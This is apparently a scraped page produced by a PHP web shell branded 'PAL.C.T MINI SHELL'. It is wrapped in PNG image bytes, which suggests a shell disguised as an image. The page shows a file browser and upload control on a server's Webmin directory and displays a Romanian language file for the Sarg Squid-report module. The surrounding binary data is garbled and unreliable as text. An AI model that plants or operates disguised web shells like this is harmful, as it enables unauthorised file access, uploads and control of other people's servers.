php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/ro.auto

index_title=Generator de Rapoarte Squid
index_econf=Fișierul de configurare Sarg $1 nu a fost găsit în sistemul dvs. Poate că Sarg nu este instalat sau configurația modulului <a href='$2'></a> este incorectă.
index_ecmd=Programul Sarg $1 nu a fost găsit în sistemul dvs. Poate că nu este instalat sau configurația modulului <a href='$2'></a> este incorectă.
index_eversion=Nu a reușit să obțineți versiunea Sarg cu comanda $1 : $2 
index_version=Versiunea Sarg $1 
index_generate=Generați raportul acum
index_generatedesc=Faceți clic pe acest buton pentru a genera imediat un raport Sarg în $1 utilizând configurația curentă.
index_clear=Ștergeți raportul existent din director?
index_range=Generați raport pentru intervalul de date
index_view=Vizualizați raportul generat
index_viewdesc=Vizualizați raportul generat cel mai recent în directorul $1.
index_return=indexul modulului

log_title=Sursa jurnalului și destinația raportului
log_header=Fișierul jurnal Sursa Squid și opțiuni de raport generate
log_access_log=Fișier jurnal Squid sursă
log_squid=Jurnalul serverului Squid curent ($1)
log_other=Alt fișier
log_output_dir=Directorul raportului de destinație
log_output_email=Raport prin e-mail către
log_nowhere=Nicăieri
log_useragent_log=Fișier jurnal agent utilizator
log_lastlog=Numărul de rapoarte de păstrat
log_unlimit=Nelimitat
log_mail_utility=Comanda de trimitere prin poștă
log_remove_temp_files=Ștergeți fișierele temporare după raportare?
log_err=Nu a reușit să salvați opțiunile sursei jurnalului
log_efile=Fisierul nu exista
log_edir=Directorul nu există
log_elastlog=Lipsește sau nu un număr
log_eemail=Adresa de e-mail lipsă sau cu aspect nevalid
log_emailx=Program de e-mail lipsă sau inexistent
log_squidguard_log_path=Fișier jurnal SquidGuard

style_title=Stil raport
style_header=Opțiuni de stil și de raport HTML
style_title2=Titlul raportului
style_font_face=Raportează fontul corpului
style_header_color=Culoarea antetului
style_header_bgcolor=Culoarea fundalului antetului
style_header_font_size=Dimensiunea fontului antet
style_background_color=Culoare de fundal
style_text_color=Culoarea textului
style_text_bgcolor=Culoarea fundalului textului
style_title_color=Culoarea titlului
style_logo_image=Referință pentru imagine pentru logo
style_image_size=Mărimea imaginii (lățime și înălțime)
style_logo_text=Text pentru logo
style_logo_text_color=Culoarea textului pentru logo
style_background_image=Referință imagine pentru fundal
style_err=Nu a reușit să salvați opțiunile de stil de raport
style_etitle=Lipsește titlul raportului
style_ecolour=Numele culorii sau codul RRGGBB lipsesc sau nu sunt valide
style_efontsize=Decalarea dimensiunii fontului lipsă sau nevalidă
style_efont=Lipsește sau nu este valabil numele fontului
style_esize=Lățimea și înălțimea imaginii lipsă sau nevalidă
style_language=Limba raportului
style_charset=Raport set de caractere

report_title=Opțiuni de raportare
report_header=Raportează conținut și opțiuni de generare
report_resolve_ip=Rezolvați adresele IP?
report_user_ip=Folosiți adrese IP în loc de ID-uri de utilizator?
report_user_sort_field=Comandarea raportului utilizatorului
report_topuser_sort_field=Comandarea raportului utilizatorilor de top
report_reverse=În ordine inversă
report_forward=În ordine înainte
report_by_user=După numele de utilizator
report_by_connect=Prin conectarea timpului
report_by_bytes=Prin octeți
report_by_time=Cu timpul
report_by_site=Pe site
report_exclude_users=Excludeți fișiere cu listarea utilizatorilor
report_exclude_hosts=Lista de fișiere gazduiește excluderea
report_index=Re-generați fișierul <tt>index.html</tt>?
report_only=Generează doar <tt>index.html</tt>
report_overwrite_report=Suprascrieți raportul pentru data?
report_overno=Nu, redenumiți cu.1
report_records_without_userid=Acțiune pentru înregistrări fără utilizator?
report_ignore=Ignoră total
report_ip=Utilizați în schimb adresa IP
report_everybody=Utilizați numele de utilizator <tt>toată lumea</tt>
report_use_comma=Folosiți virgula în loc de. in numere?
report_topsites_num=Numărul de site-uri de top de afișat
report_topsites_sort_order=Comandarea raportului site-urilor de top
report_sorta=Ascendent
report_sortd=Descendentă
report_index_sort_order=Comandarea legăturilor din <tt>index.html</tt>
report_exclude_codes=Fișiere care conțin coduri HTTP pentru excludere
report_max_elapsed=Timpul maxim scurs (ms)
report_report_type=Secțiuni de raportare pentru a genera
report_topsites=Site-uri de top
report_topusers=Utilizatori de top
report_sites_users=Site-uri de către utilizator
report_users_sites=Utilizatori pe site
report_date_time=Utilizare zi și oră
report_denied=Site-uri negate
report_downloads=Descărcări
report_auth_failures=Eșecuri de autentificare
report_site_user_time_date=Site-uri, date, ore și octeți
report_all=Toate rapoartele
report_below=Selectat mai jos ..
report_usertab=Fișier mapare nume utilizator
report_long_url=Afișează adresele URL complete în raport?
report_date_time_by=Sortează raportul dată/oră după
report_bytes=bytes
report_elap=Timpul scurs
report_user_invalid_char=Caractere nevalide din numele de utilizator
report_privacy=Ascundeți site-urile vizitate?
report_privacy_string=Text de înlocuire pentru site-urile vizitate
report_privacy_string_color=Culoare pentru textul de înlocuire
report_below2=Intrat mai jos ..
report_include_users=Generați raport numai pentru utilizatori
report_exclude_string=Excludeți liniile de jurnal care conțin
report_allusers=Toți utilizatorii
report_nostrings=Nu exclude nimic
report_topuser_num=Număr de utilizatori de top de afișat
report_site_user_time_date_type=Formatul tabelului site-ului, utilizatorului, datei și orei
report_table=Tabel HTML
report_list=Lista textelor
report_displayed_values=Afișează trafic ca
report_bytes2=bytes
report_abbrev=Abreviat (K, M, G)
report_weekdays=Zilele săptămânii de inclus în raport
report_weekdays0=Su
report_weekdays1=Mo
report_weekdays2=Tu
report_weekdays3=Noi
report_weekdays4=Th
report_weekdays5=Fr
report_weekdays6=Sa
report_hours=Ore de inclus în raport
report_err=Nu a reușit să salvați opțiunile de raport
report_efile=Fisierul nu exista
report_enum=Nu un număr
report_echar=Spațiile nu sunt permise
report_estring=Text de înlocuire lipsit sau nevalid
report_eselect=Nimic selectat
report_eenter=Nu a intrat nimic

sched_title=Generarea raportului programat
sched_header=Opțiuni de raportare programate
sched_sched=Raport programat activat?
sched_yes=Da, la orele selectate mai jos ..
sched_clear=Ștergeți directorul de raport de fiecare dată?
sched_dir=Director de rapoarte
sched_edir=Nici un director de raport de destinație nu a fost definit în pagina <a href='$1'>Sursa jurnalului și a destinației raportului</a>. Acest lucru trebuie setat înainte ca raportarea programată să poată fi activată.
sched_esfile=Niciun fișier de jurnal Squid nu a fost definit pe pagina <a href='$1'>Sursa jurnalului și destinația raportului</a>. Acest lucru trebuie setat înainte ca raportarea programată să poată fi activată.
sched_range=Generați raport pentru intervalul de date
sched_rall=Toate înregistrările în fișierul jurnal
sched_rsel=Cele de la $1 la acum $2 zile
sched_err=Nu a reușit să salveze generarea de raport programată
sched_erfrom=Începând cu numărul de zile de început sau nevalide
sched_erto=Numărul de sfârșit care lipsește sau este nevalid este acum

view_title=Raport Sarg
view_efile=Nume invalid!
view_eopen=Nu a putut deschide fișierul de raport

gen_title=Generează raport
gen_header=Acum se generează raportul Sarg din fișierul jurnal Squid $1 și toate versiunile rotite ..
gen_done=.. Terminat
gen_failed=.. Sarg a eșuat! Consultați ieșirea de mai sus pentru detalii.
gen_nothing=.. Sarg a terminat, dar nu a fost generat niciun raport. Consultați ieșirea de mai sus pentru detalii.
gen_view=Vizualizați raportul completat.
gen_err=Eroare la generarea raportului
gen_efrom=Lipsește sau este invalid din zi
gen_eto=Lipsește sau este nevalid pentru azi

webmin_log_log=Opțiunile actualizate ale sursei de jurnal și ale destinației raportului
webmin_log_report=Opțiuni de raport actualizate
webmin_log_style=Opțiuni de stil de raport actualizate
webmin_log_sched_create=Activare de raportare programată
webmin_log_sched_delete=Dezactivare raportare programată
webmin_log_sched_update=Actualizarea raportărilor programate
webmin_log_sched_nothing=Raportarea programată din stânga a fost dezactivată
webmin_log_generate=Raport generat
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`